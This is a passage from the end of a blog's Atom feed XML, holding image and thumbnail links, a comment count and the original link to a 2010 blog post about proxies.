src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_1E9ugxJlis4/TMTkiS1gO3I/AAAAAAAABR8/I9V7HBhtjnk/s72-c/proxy-dashboard.JPG" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.cartercole.com/2010/10/proxies-proxies-everywhere-and-all-for.html</feedburner:origLink></entry></feed>

